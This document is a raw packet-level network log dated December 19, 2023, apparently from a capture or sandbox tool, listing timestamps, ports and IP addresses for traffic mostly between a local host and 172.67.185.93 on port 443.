Dec 19, 2023 03:22:40.862660885 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.862672091 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.864391088 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.864414930 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.864445925 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.864450932 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.864481926 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.864495993 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.867197037 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.867213011 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.867248058 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.867252111 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.867281914 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.867301941 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.868936062 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.868959904 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.868992090 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.868999004 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.869031906 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.869045019 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.871510983 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.871530056 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.871566057 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.871572018 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.871596098 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.871613026 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.873342037 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.873358965 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.873393059 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.873395920 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.873440981 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.876105070 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.876118898 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.876183033 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.876188993 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.876226902 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.877873898 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.878082991 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.878201008 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.878216982 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.878254890 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.878259897 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.878274918 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.878294945 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.880944967 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.881218910 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.881232977 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.881267071 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.881269932 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.881297112 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.881315947 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.882823944 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.882838011 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.882879019 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.882884979 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.882917881 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.885068893 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.885082006 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.885124922 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.885128975 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.885162115 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.886935949 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.886949062 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.886981010 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.886986017 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.887015104 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.887026072 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.889470100 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.889486074 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.889522076 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.889528036 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.889549017 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.889566898 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.892554998 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.892573118 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.892605066 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.892610073 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.892636061 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.892642975 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.921763897 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:40.958661079 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.958681107 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.958771944 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.958786011 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.958831072 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.960089922 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.960103989 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.960171938 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.960176945 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.960213900 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.961319923 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.961333990 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.961394072 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.961399078 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.961436987 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.964217901 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.964231968 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.964297056 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.964302063 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.964340925 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.965775013 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.965795040 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.965848923 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.965857029 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.965886116 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.965898037 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.968319893 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.968347073 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.968389988 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.968394995 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.968441010 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.970243931 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.970257998 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.970320940 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.970326900 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.970360041 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.972652912 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.972666025 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.972738981 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.972743988 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.972784042 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.974792004 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.974817038 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.974858999 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.974864006 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.974890947 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.974905968 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.977320910 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.977335930 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.977401972 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.977406979 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.977442026 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.979765892 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.979780912 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.979845047 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.979851007 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.979883909 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.981646061 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.981658936 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.981722116 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.981724977 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.981772900 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.982805967 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:40.983716011 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.983730078 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.983795881 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.983800888 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.983834982 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.986150026 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.986164093 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.986198902 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.986203909 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.986224890 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.986244917 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.988008022 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.988023043 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.988068104 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.988071918 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.988106966 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.990674973 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.990689039 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.990729094 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.990734100 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.990757942 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.990781069 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.992563963 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.992578983 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.992615938 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.992619991 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.992649078 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.992660999 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.995090961 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.995105982 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.995141983 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.995146990 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.995172977 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.995192051 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.997692108 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.997714043 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.997740984 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.997744083 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.997771978 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.997797966 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.999680996 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.999701023 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.999769926 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.999775887 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:40.999806881 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:40.999825954 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.002074957 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.002089977 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.002154112 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.002157927 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.002198935 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.004038095 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.004050970 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.004112959 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.004117966 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.004149914 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.006618023 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.006632090 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.006692886 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.006699085 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.006736994 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.008436918 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.008450985 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.008508921 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.008514881 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.008557081 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.010343075 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.010356903 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.010420084 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.010426044 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.010462046 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.012345076 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.012358904 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.012417078 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.012422085 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.012459040 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.014034033 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.014055014 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.014102936 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.014107943 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.014138937 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.015938997 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.015954018 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.015988111 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.015993118 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.016009092 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.016036987 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.017837048 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.017852068 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.017884970 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.017889023 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.017915964 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.017934084 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.018990993 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.019005060 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.019047976 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.019052982 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.019202948 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.021069050 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.021084070 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.021117926 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.021121979 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.021145105 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.021157026 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.022895098 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.022911072 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.022943020 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.022947073 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.022962093 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.022974014 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.024844885 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.024858952 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.024893999 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.024898052 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.024923086 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.024940968 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.025840998 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.025855064 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.025891066 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.025895119 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.025911093 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.025930882 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.028120041 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.028147936 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.028177023 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.028179884 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.028207064 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.028224945 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.029802084 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.029817104 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.029865026 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.029870033 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.029901981 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.031606913 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.031620979 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.031656981 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.031661987 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.031681061 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.031698942 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.032763958 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.032778978 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.032809973 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.032814026 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.032839060 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.032851934 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.034753084 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.034765959 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.034804106 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.034806967 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.034842014 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.036603928 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.036619902 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.036650896 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.036654949 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.036675930 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.036693096 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.038434982 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.038454056 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.038486958 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.038490057 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.038507938 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.038526058 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.040313959 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.040329933 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.040363073 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.040368080 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.040390968 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.040407896 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.041600943 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.041615963 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.041656971 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.041661024 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.041692019 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.043392897 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.043406963 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.043437958 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.043442965 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.043467045 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.043481112 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.045299053 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.045314074 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.045347929 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.045351028 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.045367002 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.047096014 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.047122002 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.047126055 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.047135115 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.047153950 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.047198057 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.048533916 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.048547029 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.048588991 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.048593044 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.048624992 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.050242901 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.050260067 CET	443	49752	172.67.185.93	192.168.2.4
